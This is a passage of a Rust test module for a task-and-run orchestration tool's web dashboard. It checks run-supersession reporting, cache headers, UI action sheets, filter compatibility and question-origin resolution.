24567        let latest = out.latest.expect("latest");
24568        assert_eq!(latest.id, c);
24569        assert_eq!(latest.status, None);
24570        assert_eq!(latest.outcome, "record unreadable");
24571
24572        // A Ready run settles the task as done, so it is named as the finisher.
24573        write_run(dir.path(), c, RunStatus::Ready);
24574        let t = outcome_task(&[a, c], TaskStatus::Done);
24575        let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
24576        assert_eq!(out.finished_by.expect("finisher").id, c);
24577        assert!(!out.closed_by_hand);
24578
24579        // A resumed run id repeats: it is still the latest by id.
24580        let t = outcome_task(&[a, b, a], TaskStatus::Held);
24581        assert!(task_outcome(&t, a, 3, read).is_latest);
24582    }
24583
24584    #[tokio::test]
24585    async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
24586        // The list route has known this since the card fix above; the detail
24587        // route — what an operator actually opens from a notification about
24588        // a blocked run — did not, and went on showing a bare red BLOCKED
24589        // chip for a run a retry had already finished.
24590        let fx = Fixture::start().await;
24591        let q = fx.queue();
24592        let runs = fx.runs();
24593        let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
24594        write_run(&runs, first, RunStatus::Blocked);
24595        write_run(&runs, second, RunStatus::Merged);
24596
24597        let mut t = Task::new(
24598            "one task".to_owned(),
24599            "do it".to_owned(),
24600            PathBuf::from("/repo"),
24601            Source::Human,
24602        );
24603        t.runs = vec![first.to_owned(), second.to_owned()];
24604        q.put(&mut t).expect("put");
24605
24606        let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
24607        assert_eq!(earlier["superseded_by"], "dddd");
24608        assert_eq!(earlier["latest_attempt"]["id"], second);
24609        assert_eq!(earlier["latest_attempt"]["short"], "dddd");
24610        assert_eq!(
24611            earlier["latest_attempt"]["resolved"], true,
24612            "the run that replaced it landed, so this one reads as settled"
24613        );
24614
24615        let later = fx.get(&format!("/api/runs/{second}")).await.json();
24616        assert!(
24617            later["superseded_by"].is_null(),
24618            "the latest attempt is not superseded by anything"
24619        );
24620        assert!(
24621            later["latest_attempt"].is_null(),
24622            "the latest attempt has no later attempt of its own"
24623        );
24624
24625        // Front end: the detail page has to read the field this route now
24626        // carries, downgrade the chip, and link to the run that replaced it —
24627        // not just repeat the list card's own logic under a different name.
24628        // The link is built off `latest_attempt.id`, the server-resolved
24629        // full id, never a bare short string a client would have to guess a
24630        // full run from.
24631        assert!(APP_JS.contains("run.latest_attempt"));
24632        assert!(APP_JS.contains("data-superseded"));
24633        assert!(APP_JS.contains("#/runs/${latest.id}"));
24634    }
24635
24636    #[tokio::test]
24637    async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
24638        // A -> B -> C, all Blocked except the last. A's immediate successor
24639        // (superseded_by) is B, which is itself unresolved; what an operator
24640        // opening A's page actually needs is where the task's story stands
24641        // *now* - C, not B - without depending on whether C happens to be in
24642        // whatever page of /api/runs the client last cached.
24643        let fx = Fixture::start().await;
24644        let q = fx.queue();
24645        let runs = fx.runs();
24646        let (a, b, c) = (
24647            "20260901-000000-aaaa",
24648            "20260901-000000-bbbb",
24649            "20260901-000000-cccc",
24650        );
24651        write_run(&runs, a, RunStatus::Blocked);
24652        write_run(&runs, b, RunStatus::Blocked);
24653        write_run(&runs, c, RunStatus::Merged);
24654
24655        let mut t = Task::new(
24656            "retried twice".to_owned(),
24657            "do it".to_owned(),
24658            PathBuf::from("/repo"),
24659            Source::Human,
24660        );
24661        t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
24662        q.put(&mut t).expect("put");
24663
24664        let view = fx.get(&format!("/api/runs/{a}")).await.json();
24665        assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
24666        assert_eq!(
24667            view["latest_attempt"]["id"], c,
24668            "the chain's current head, not the intermediate Blocked retry"
24669        );
24670        assert_eq!(view["latest_attempt"]["resolved"], true);
24671
24672        let mid = fx.get(&format!("/api/runs/{b}")).await.json();
24673        assert_eq!(mid["latest_attempt"]["id"], c);
24674        assert_eq!(mid["latest_attempt"]["resolved"], true);
24675    }
24676
24677    #[tokio::test]
24678    async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
24679        let fx = Fixture::start().await;
24680        let q = fx.queue();
24681        let runs = fx.runs();
24682
24683        // Still Blocked: the task is not resolved, so the older run must not
24684        // read as settled either.
24685        let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
24686        write_run(&runs, still_blocked_a, RunStatus::Blocked);
24687        write_run(&runs, still_blocked_b, RunStatus::Blocked);
24688        let mut t1 = Task::new(
24689            "still stuck".to_owned(),
24690            "do it".to_owned(),
24691            PathBuf::from("/repo"),
24692            Source::Human,
24693        );
24694        t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
24695        q.put(&mut t1).expect("put");
24696        let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
24697        assert_eq!(view1["latest_attempt"]["resolved"], false);
24698        assert_eq!(view1["latest_attempt"]["status"], "blocked");
24699        assert_eq!(view1["latest_attempt"]["done"], true);
24700
24701        // Still running: the successor exists and must be reported as such.
24702        let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
24703        write_run(&runs, run_a, RunStatus::Blocked);
24704        write_run(&runs, run_b, RunStatus::Implementing);
24705        let mut t3 = Task::new(
24706            "retrying".to_owned(),
24707            "do it".to_owned(),
24708            PathBuf::from("/repo"),
24709            Source::Human,
24710        );
24711        t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
24712        q.put(&mut t3).expect("put");
24713        let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
24714        assert_eq!(view3["latest_attempt"]["id"], run_b);
24715        assert_eq!(view3["latest_attempt"]["resolved"], false);
24716        assert_eq!(view3["latest_attempt"]["done"], false);
24717
24718        // VerifiedNoop: a candidate's own unconfirmed claim, held for a human
24719        // to check - not a confirmed finish, so this must not read as
24720        // resolved either, even though the run is done in the sense that
24721        // nothing is still running.
24722        let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
24723        write_run(&runs, noop_a, RunStatus::Blocked);
24724        write_run(&runs, noop_b, RunStatus::VerifiedNoop);
24725        let mut t2 = Task::new(
24726            "claims done".to_owned(),
24727            "do it".to_owned(),
24728            PathBuf::from("/repo"),
24729            Source::Human,
24730        );
24731        t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
24732        q.put(&mut t2).expect("put");
24733        let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
24734        assert_eq!(
24735            view2["latest_attempt"]["resolved"], false,
24736            "an unverified no-op claim must not read as a confirmed finish"
24737        );
24738
24739        // Front end: an unresolved successor must not carry the "finished
24740        // this work" note or the muted chip treatment.
24741        assert!(APP_JS.contains("latest.resolved"));
24742        // ...but the link to it shows as soon as it exists, labelled by state
24743        // and without the "finished" wording or the muted chip.
24744        assert!(APP_JS.contains("successorNote(latest, inFlight)"));
24745        assert!(APP_JS.contains("Latest attempt: "));
24746        assert!(APP_JS.contains("in flight"));
24747        assert!(APP_JS.contains("not resolved"));
24748    }
24749
24750    #[tokio::test]
24751    async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
24752        let fx = Fixture::start().await;
24753        // No cache header at all meant browsers invented their own policy,
24754        // and one did: a phone went on showing "Candidates must be folded
24755        // before deleting. Run `magi fold` first." - deleted two releases
24756        // earlier - from a deck that no longer contained the sentence. The
24757        // button it named was right there, and unreachable.
24758        let js = fx.get("/app.js").await;
24759        assert_eq!(js.status, 200);
24760        let tag = js
24761            .header("etag")
24762            .expect("an etag to revalidate against")
24763            .to_owned();
24764        assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
24765        assert_eq!(
24766            js.header("cache-control"),
24767            Some("no-cache, must-revalidate"),
24768            "the phone has to ask every time"
24769        );
24770
24771        // And the asking has to be cheap, or `must-revalidate` just means
24772        // "send the whole interface on every load".
24773        let again = fx
24774            .get_with("/app.js", &[("if-none-match", tag.as_str())])
24775            .await;
24776        assert_eq!(
24777            again.status, 304,
24778            "a deck it already has costs one round trip"
24779        );
24780        assert!(again.body.is_empty(), "304 carries no body");
24781
24782        // A weakened tag from a proxy still matches; a different build does
24783        // not, which is the case that has to deliver the new interface.
24784        let weak = fx
24785            .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
24786            .await;
24787        assert_eq!(weak.status, 304);
24788        let stale = fx
24789            .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
24790            .await;
24791        assert_eq!(stale.status, 200, "an older build must be replaced");
24792        assert!(stale.body.contains("renderRunActions"));
24793    }
24794
24795    #[test]
24796    fn the_task_detail_has_an_actions_fab_and_sheet() {
24797        assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
24798        assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
24799        assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
24800        // Shown only on the task route, closed everywhere else.
24801        assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
24802        assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
24803        // Refreshed whenever the detail redraws, including the loading state.
24804        assert!(APP_JS.contains("renderTaskActions(task.coreOnly || error ? null : task);"));
24805        assert!(APP_JS.contains("renderTaskActions(null);"));
24806        // Same action renderers as the Queue card. Bound this check by the
24807        // next function, since additional task controls can grow the sheet.
24808        let (_, sheet) = APP_JS
24809            .split_once("function renderTaskActions(task) {")
24810            .expect("sheet renderer");
24811        let (body, _) = sheet
24812            .split_once("\nfunction openTaskActions() {")
24813            .expect("end of sheet renderer");
24814        assert!(body.contains("changePriority("));
24815        assert!(body.contains("openTaskEdit(task)"));
24816        assert!(body.contains("renderTaskHoldBox(host"));
24817        assert!(body.contains("renderTaskDoneBox(host"));
24818        assert!(body.contains("renderTaskDeleteBox(host"));
24819        assert!(APP_JS.contains("API.priority(id)"));
24820        assert!(APP_JS.contains("API.deleteTask(id)"));
24821        // A deleted task sends the operator back to the queue.
24822        assert!(APP_JS.contains("location.hash = \"#/queue\""));
24823        // A refusal is shown inside the sheet.
24824        assert!(APP_JS.contains("$(\"task-actions-error\")"));
24825    }
24826
24827    #[test]
24828    fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
24829        let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
24830        let actions = INDEX_HTML
24831            .find("id=\"run-actions-box\"")
24832            .expect("actions box");
24833        assert!(task < actions, "the task entry comes first in the sheet");
24834        assert!(APP_JS.contains("renderRunTaskEntry"));
24835        assert!(APP_JS.contains("\"Open task \""));
24836        // A run without a task says why there is nothing to open.
24837        assert!(APP_JS.contains("started directly, no task"));
24838        assert!(APP_JS.contains("sheet-task-link"));
24839        assert!(APP_JS.contains("task-chip-link"));
24840    }
24841
24842    #[test]
24843    fn the_deck_never_sends_the_operator_to_a_terminal() {
24844        // The whole point of the phone UI is that a terminal is not needed.
24845        // The delete control used to answer with "Run `magi fold` first."
24846        assert!(
24847            !APP_JS.contains("Run `magi fold` first"),
24848            "the deck must offer the fold, not prescribe a shell command"
24849        );
24850        assert!(APP_JS.contains("foldRun:"));
24851        assert!(APP_JS.contains("resumeRun:"));
24852        assert!(APP_JS.contains("renderRunActions"));
24853
24854        // Folding is destructive and armed in two steps, like deleting.
24855        assert!(APP_JS.contains("armedFold"));
24856        assert!(APP_JS.contains("Yes, fold worktrees"));
24857
24858        // And the copy has to say that the two actions are opposites, because
24859        // folding throws away exactly what a resume would continue from.
24860        assert!(APP_JS.contains("can no longer be resumed"));
24861    }
24862
24863    #[test]
24864    fn a_finished_run_explains_itself_with_its_own_last_line() {
24865        // The deck used to answer "why did this stop?" with a sentence chosen
24866        // by status alone. Run e633 stalled because two judges answered with
24867        // the wrong JSON shape and its card said "The panel collapsed on
24868        // agent quota" - with `quota: []` in the record and a quota-loss
24869        // counter right above it that correctly said nothing.
24870        assert!(
24871            !APP_JS.contains("collapsed on agent quota"),
24872            "a stall must not be explained by a cause the deck did not check"
24873        );
24874        assert!(
24875            !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
24876            "and a block must not offer a guess with an `or` in it"
24877        );
24878
24879        // The reason it does have is `run.event`, which must reach finished
24880        // runs: gating it on movement hid the recorded truth at the one moment
24881        // the operator is reading the card to find out what happened.
24882        assert!(
24883            APP_JS.contains("setText(r.event, run.event || \"\")"),
24884            "the run's last line is rendered unconditionally"
24885        );
24886        assert!(
24887            !APP_JS.contains("moving && run.event"),
24888            "and never gated on the run still moving"
24889        );
24890
24891        // Quota keeps its own counter, fed by the number actually recorded.
24892        assert!(APP_JS.contains("lost to quota"));
24893    }
24894
24895    /// The runs tree (section) and the state chips (waiting/done) are two
24896    /// independent lenses ANDed together in `renderRuns`, and some pairings
24897    /// can never both be true for any run - every "Landed"/"Ended" run is
24898    /// done by construction, so pairing either with "Active" or "In flight"
24899    /// always rendered zero cards with the filter bar still claiming
24900    /// `Showing Ended`. `sectionCompatibleWithStateFilter` exists to catch
24901    /// that before it happens, checked against `REPRESENTATIVE_RUN_SHAPES` -
24902    /// a handful of (waiting, status) shapes standing in for the run
24903    /// lifecycle, because `cargo test` cannot execute the front end.
24904    ///
24905    /// That stand-in list is itself the part that drifted twice in review:
24906    /// once shipped with `waiting: true` paired with a done status the
24907    /// lifecycle cannot produce, then over-corrected into treating every
24908    /// waiting run as never done - which made "Waiting on you" look
24909    /// incompatible with "Done" even for the one real, reachable shape
24910    /// (Stalled/Blocked, both terminal yet still resumable) that is exactly
24911    /// that combination. This test parses the shapes and the done-rule back
24912    /// out of `APP_JS`, reimplements `runSection` and the five state
24913    /// predicates independently in Rust, and checks the resulting
24914    /// section/filter compatibility table against the lifecycle rules by
24915    /// hand - so either direction of drift fails it again.
24916    #[test]
24917    fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
24918        let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
24919        let shapes_body_start =
24920            APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
24921        let shapes_close = APP_JS[shapes_body_start..]
24922            .find("].map(")
24923            .expect("the shape list is closed by its done-computing .map(...)")
24924            + shapes_body_start;
24925        let shapes_src = &APP_JS[shapes_body_start..shapes_close];
24926
24927        let mut shapes: Vec<(bool, String, bool, bool)> = Vec::new();
24928        for entry in shapes_src.split('{').skip(1) {
24929            let waiting = entry.contains("waiting: true");
24930            let dead = entry.contains("live: \"dead\"");
24931            let status_at =
24932                entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
24933            let status_end = entry[status_at..]
24934                .find('"')
24935                .expect("the status string is closed")
24936                + status_at;
24937            let parked = entry.contains("display_status: \"parked\"");
24938            shapes.push((
24939                waiting,
24940                entry[status_at..status_end].to_string(),
24941                dead,
24942                parked,
24943            ));
24944        }
24945        assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
24946
24947        // The done rule itself (`!["implementing"].includes(shape.status)`),
24948        // read out of the source rather than hardcoded, so a renamed
24949        // in-flight status can't silently make every parsed shape "done".
24950        let done_rule_marker = "done: !";
24951        let done_rule_at = APP_JS[shapes_close..]
24952            .find(done_rule_marker)
24953            .expect("the done rule follows the shape list")
24954            + shapes_close
24955            + done_rule_marker.len();
24956        let includes_at = APP_JS[done_rule_at..]
24957            .find(".includes(shape.status)")
24958            .expect("the done rule ends in .includes(shape.status)")
24959            + done_rule_at;
24960        let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
24961            .trim()
24962            .trim_start_matches('[')
24963            .trim_end_matches(']')
24964            .split(',')
24965            .map(|s| s.trim().trim_matches('"'))
24966            .filter(|s| !s.is_empty())
24967            .collect();
24968
24969        let shapes: Vec<(bool, String, bool, bool, bool)> = shapes
24970            .into_iter()
24971            .map(|(waiting, status, dead, parked)| {
24972                let done = !not_done.contains(&status.as_str());
24973                (waiting, status, dead, parked, done)
24974            })
24975            .collect();
24976
24977        // `runSection` reimplemented from assets/ui/app.js: `waiting` wins
24978        // outright, then merged/ready land, stalled/blocked/failed/
24979        // verified_noop end, and everything else is still in flight.
24980        fn run_section(waiting: bool, status: &str, dead: bool, parked: bool) -> &'static str {
24981            if waiting {
24982                return "waiting";
24983            }
24984            if dead
24985                && !parked
24986                && !matches!(
24987                    status,
24988                    "merged"
24989                        | "ready"
24990                        | "stalled"
24991                        | "blocked"
24992                        | "failed"
24993                        | "verified_noop"
24994                        | "superseded"
24995                        | "already_in_base"
24996                )
24997            {
24998                return "stale";
24999            }
25000            match status {
25001                "merged" | "ready" => "landed",
25002                "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
25003                | "already_in_base" => "ended",
25004                _ => "flight",
25005            }
25006        }
25007
25008        // RUN_STATE_FILTERS' six `match` functions, reimplemented the same
25009        // way.
25010        fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
25011            match filter_key {
25012                "active" => !done,
25013                "flight" => !done && !waiting && !dead,
25014                "stale" => !done && !waiting && dead,
25015                "waiting" => waiting,
25016                "done" => done,
25017                "all" => true,
25018                other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
25019            }
25020        }
25021
25022        let compatible = |section: &str, filter_key: &str| {
25023            shapes.iter().any(|(waiting, status, dead, parked, done)| {
25024                run_section(*waiting, status, *dead, *parked) == section
25025                    && filter_matches(filter_key, *waiting, *dead && !*parked, *done)
25026            })
25027        };
25028
25029        // One row per RUN_SECTIONS key, in RUN_STATE_FILTERS' own order
25030        // (active, flight, stale, waiting, done, all) - hand-derived from the
25031        // lifecycle, independently of whatever REPRESENTATIVE_RUN_SHAPES
25032        // currently contains.
25033        let expected = [
25034            ("waiting", [true, false, false, true, true, true]),
25035            ("stale", [true, false, true, false, false, true]),
25036            ("flight", [true, true, false, false, false, true]),
25037            ("landed", [false, false, false, false, true, true]),
25038            ("ended", [false, false, false, false, true, true]),
25039        ];
25040        let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
25041
25042        for (section, wants) in expected {
25043            for (filter_key, want) in filter_keys.iter().zip(wants) {
25044                assert_eq!(
25045                    compatible(section, filter_key),
25046                    want,
25047                    "section {section:?} x filter {filter_key:?} should be compatible: {want}"
25048                );
25049            }
25050        }
25051
25052        // The compatibility check exists only to be acted on: both pickers
25053        // must actually consult it rather than just render its answer.
25054        assert!(
25055            APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
25056        );
25057        assert!(APP_JS.contains(
25058            "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
25059        ));
25060        assert!(APP_JS.contains(
25061            "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
25062        ));
25063    }
25064
25065    #[tokio::test]
25066    async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
25067        // An operator-named directory - git checkout or not - is never
25068        // second-guessed, even when it does not exist at all: only the
25069        // flag's own unmodified `.` default is ever eligible for discovery.
25070        let dir = tempfile::tempdir().expect("tempdir");
25071        let explicit = dir.path().join("not-a-checkout");
25072        std::fs::create_dir_all(&explicit).expect("create dir");
25073        assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
25074
25075        let missing = dir.path().join("does-not-exist-at-all");
25076        assert_eq!(normalize_default_repo(missing.clone()).await, missing);
25077    }
25078
25079    #[test]
25080    fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
25081        assert!(APP_JS.contains("function statsDonutArcs"));
25082        assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
25083        // A bucket click filters by the statuses src/stats.rs counts in it.
25084        assert!(APP_JS.contains("function statusInBucket"));
25085        assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
25086        assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
25087        let buckets = [
25088            "merged",
25089            "ready",
25090            "in_progress",
25091            "blocked",
25092            "failed",
25093            "verified_noop",
25094            "superseded",
25095            "stalled",
25096        ];
25097        for key in buckets {
25098            let var = format!("--verdict-{key}:");
25099            // Light, OS-dark and pinned-dark blocks each define it.
25100            assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
25101            assert!(
25102                APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
25103                "{key}"
25104            );
25105        }
25106    }
25107
25108    #[tokio::test]
25109    async fn resolve_talk_and_task_avoid_deserializing_corrupt_or_unrelated_json() {
25110        let dir = tempfile::tempdir().expect("tempdir");
25111        let queue = Queue::at(dir.path().join("queue"));
25112        let talks = Talks::at(dir.path().join("talks"));
25113        std::fs::create_dir_all(queue.root()).unwrap();
25114        std::fs::create_dir_all(talks.root()).unwrap();
25115
25116        // Put a corrupt json file in both stores
25117        std::fs::write(queue.root().join("corrupt-task.json"), "invalid json").unwrap();
25118        std::fs::write(talks.root().join("corrupt-talk.json"), "invalid json").unwrap();
25119
25120        // Valid task and talk
25121        let mut task = Task::new(
25122            "title".into(),
25123            "inst".into(),
25124            PathBuf::from("/repo"),
25125            Source::Human,
25126        );
25127        task.id = "20261019-123456-abcd".into();
25128        // Write manually so it's a valid file
25129        std::fs::write(
25130            queue.path_of(&task.id),
25131            serde_json::to_string(&task).unwrap(),
25132        )
25133        .unwrap();
25134
25135        let talk_id = "20261019-234567-cdef";
25136        seed_talk_at(&talks, talk_id, "open");
25137
25138        // Exact match should succeed without failing on the corrupt json file
25139        assert_eq!(resolve_task(&queue, &task.id).unwrap(), task.id);
25140        assert_eq!(resolve_talk(&talks, talk_id).unwrap(), talk_id);
25141
25142        // Prefix match should also succeed by scanning file names without deserializing corrupt file
25143        assert_eq!(resolve_task(&queue, "abcd").unwrap(), task.id);
25144        assert_eq!(resolve_talk(&talks, "cdef").unwrap(), talk_id);
25145    }
25146
25147    #[tokio::test]
25148    async fn question_core_and_empty_origins_do_not_touch_unavailable_histories() {
25149        let home = tempfile::tempdir().unwrap();
25150        let ui = delta_test_ui(home.path());
25151        // A full history traversal would fail even with no questions.
25152        std::fs::write(ui.queue.root(), "not a directory").unwrap();
25153        std::fs::write(ui.talks.root(), "not a directory").unwrap();
25154        assert!(
25155            questions_list(State(ui.clone()))
25156                .await
25157                .unwrap()
25158                .0
25159                .is_empty()
25160        );
25161        assert!(
25162            question_origins(State(ui.clone()))
25163                .await
25164                .unwrap()
25165                .0
25166                .is_empty()
25167        );
25168        let mut question = Question::new(
25169            "run-history".into(),
25170            "review".into(),
25171            "seat".into(),
25172            "Useful question".into(),
25173            "Useful detail".into(),
25174            vec![],
25175        );
25176        ui.questions.put(&mut question).unwrap();
25177        let core = questions_core(State(ui.clone())).await.unwrap().0;
25178        assert_eq!(core.len(), 1);
25179        assert_eq!(core[0].question.summary, "Useful question");
25180        assert!(!core[0].can_consult_chat);
25181        assert!(core[0].origin_chat.is_none());
25182        assert_eq!(core[0].record_revision, question_record_revision(&question));
25183        assert!(question_origins(State(ui.clone())).await.is_err());
25184        assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, 0);
25185    }
25186
25187    #[tokio::test]
25188    async fn question_origins_resolve_typed_links_without_expanding_consultation() {
25189        let home = tempfile::tempdir().unwrap();
25190        let ui = delta_test_ui(home.path());
25191        let chat = seed_talk_at(&ui.talks, "origin-chat", "closed");
25192        let mut parent = Task::new(
25193            "parent".into(),
25194            "body".into(),
25195            PathBuf::from("/repo"),
25196            Source::Agent {
25197                run: chat.clone(),
25198                node: crate::queue::CHAT_NODE.into(),
25199            },
25200        );
25201        parent.id = "parent-task".into();
25202        parent.runs = vec!["parent-run".into()];
25203        ui.queue.put(&mut parent).unwrap();
25204        let mut previous = parent;
25205        for generation in 1..=2 {
25206            let mut child = Task::new(
25207                "child".into(),
25208                "body".into(),
25209                PathBuf::from("/repo"),
25210                Source::Human,
25211            );
25212            child.id = format!("child-task-{generation}");
25213            child.runs = vec![format!("child-run-{generation}")];
25214            child.followup = Some(crate::queue::FollowUp {
25215                origin_task: Some(previous.id.clone()),
25216                run: previous.runs[0].clone(),
25217                pr: String::new(),
25218                findings: vec![],
25219                generation,
25220            });
25221            ui.queue.put(&mut child).unwrap();
25222            previous = child;
25223        }
25224        // A run may have the same spelling as another task's id; its owner
25225        // must not override a typed task reference.
25226        let mut collision = Task::new(
25227            "collision".into(),
25228            String::new(),
25229            PathBuf::from("/repo"),
25230            Source::Human,
25231        );
25232        collision.id = "collision-task".into();
25233        collision.runs = vec![previous.id.clone()];
25234        ui.queue.put(&mut collision).unwrap();
25235        let mut questions = Vec::new();
25236        for (node, reference, expected, eligible) in [
25237            (crate::triage::NODE, previous.id.as_str(), true, false),
25238            (crate::triage::DEPS_NODE, previous.id.as_str(), true, false),
25239            ("review", previous.runs[0].as_str(), true, true),
25240            (
25241                crate::bump::NOTICE_NODE,
25242                previous.runs[0].as_str(),
25243                true,
25244                false,
25245            ),
25246            // Identical text in the wrong reference namespace is not evidence.
25247            ("review", previous.id.as_str(), false, false),
25248            (crate::triage::NODE, previous.runs[0].as_str(), false, true),
25249            ("review", "unrelated", false, false),
25250        ] {
25251            let mut q = Question::new(
25252                reference.into(),
25253                node.into(),
25254                "seat".into(),
25255                "Question".into(),
25256                String::new(),
25257                vec![],
25258            );
25259            ui.questions.put(&mut q).unwrap();
25260            questions.push((q, expected, eligible));
25261        }
25262        for (node, reference, associated, eligible) in [
25263            (crate::reconcile::NODE, previous.id.as_str(), true, false),
25264            (
25265                crate::reconcile::NODE,
25266                previous.runs[0].as_str(),
25267                false,
25268                true,
25269            ),
25270            ("implement", previous.id.as_str(), false, false),
25271        ] {
25272            let mut q = Question::new(
25273                reference.into(),
25274                node.into(),
25275                crate::reconcile::SEAT.into(),
25276                "Reconcile".into(),
25277                String::new(),
25278                vec![],
25279            );
25280            ui.questions.put(&mut q).unwrap();
25281            questions.push((q, associated, eligible));
25282        }
25283        let mut release = Question::new(
25284            "release-record".into(),
25285            crate::bump::NOTICE_NODE.into(),
25286            "release-watch".into(),
25287            "Release".into(),
25288            String::new(),
25289            vec![],
25290        );
25291        ui.questions.put(&mut release).unwrap();
25292        let watch = crate::release_watch::WatchState {
25293            question: Some(release.id.clone()),
25294            run: Some(previous.runs[0].clone()),
25295            held_task: Some(previous.id.clone()),
25296            ..Default::default()
25297        };
25298        let watch_dir = home.path().join("release-watch");
25299        std::fs::create_dir_all(&watch_dir).unwrap();
25300        let watch_path = watch_dir.join("watch.json");
25301        std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
25302        // Ordinary questions and bump notices do not need watch-store I/O.
25303        for batch in [
25304            Vec::new(),
25305            questions.iter().map(|(q, _, _)| q.clone()).collect(),
25306        ] {
25307            let (_, _, watches) = question_origin_inputs(&ui, &batch).unwrap();
25308            assert!(watches.is_empty());
25309        }
25310        questions.push((release.clone(), true, false));
25311
25312        let views = questions_list(State(ui.clone())).await.unwrap().0;
25313        let origins = question_origins(State(ui.clone())).await.unwrap().0;
25314        for (q, associated, eligible) in &questions {
25315            let view = views.iter().find(|view| view.question.id == q.id).unwrap();
25316            let origin = origins.iter().find(|view| view.id == q.id).unwrap();
25317            let expected = associated.then_some(chat.as_str());
25318            assert_eq!(
25319                view.origin_chat.as_deref(),
25320                expected,
25321                "{} {}",
25322                q.node,
25323                q.run
25324            );
25325            assert_eq!(origin.origin_chat.as_deref(), expected);
25326            assert_eq!(view.origin_chat_closed, *associated);
25327            assert_eq!(origin.origin_chat_closed, *associated);
25328            assert_eq!(view.can_consult_chat, *eligible, "{} {}", q.node, q.run);
25329            assert_eq!(origin.can_consult_chat, *eligible);
25330        }
25331        // Either saved link independently recovers a release question's owner.
25332        for (run, held_task) in [(watch.run.clone(), None), (None, watch.held_task.clone())] {
25333            let link = crate::release_watch::WatchState {
25334                run,
25335                held_task,
25336                ..watch.clone()
25337            };
25338            std::fs::write(&watch_path, serde_json::to_vec(&link).unwrap()).unwrap();
25339            let (tasks, talks, watches) =
25340                question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
25341            assert_eq!(
25342                crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
25343                    .unwrap()
25344                    .id,
25345                chat,
25346            );
25347            assert!(crate::consult::origin_talk(&tasks, &talks, &release).is_none());
25348        }
25349        std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
25350        // Even identical duplicate records are ambiguous: ignore their links.
25351        let duplicate_path = watch_dir.join("duplicate.json");
25352        std::fs::write(&duplicate_path, serde_json::to_vec(&watch).unwrap()).unwrap();
25353        let (tasks, talks, watches) =
25354            question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
25355        assert!(
25356            crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
25357                .is_none()
25358        );
25359        std::fs::remove_file(duplicate_path).unwrap();
25360        // Another explicit owner is a conflict even if it has no chat.
25361        let mut unrelated = Task::new(
25362            "other".into(),
25363            String::new(),
25364            PathBuf::from("/repo"),
25365            Source::Human,
25366        );
25367        unrelated.id = "unrelated-task".into();
25368        ui.queue.put(&mut unrelated).unwrap();
25369        let mut conflicting = watch.clone();
25370        conflicting.held_task = Some(unrelated.id);
25371        std::fs::write(
25372            watch_dir.join("conflict.json"),
25373            serde_json::to_vec(&conflicting).unwrap(),
25374        )
25375        .unwrap();
25376        let (tasks, talks, watches) =
25377            question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
25378        assert!(
25379            crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
25380                .is_none()
25381        );
25382        std::fs::remove_file(watch_dir.join("conflict.json")).unwrap();
25383        std::fs::remove_file(ui.talks.path_of(&chat)).unwrap();
25384        for origin in question_origins(State(ui.clone())).await.unwrap().0 {
25385            assert!(origin.origin_chat.is_none());
25386            assert!(!origin.origin_chat_closed);
25387        }
25388    }
25389
25390    #[test]
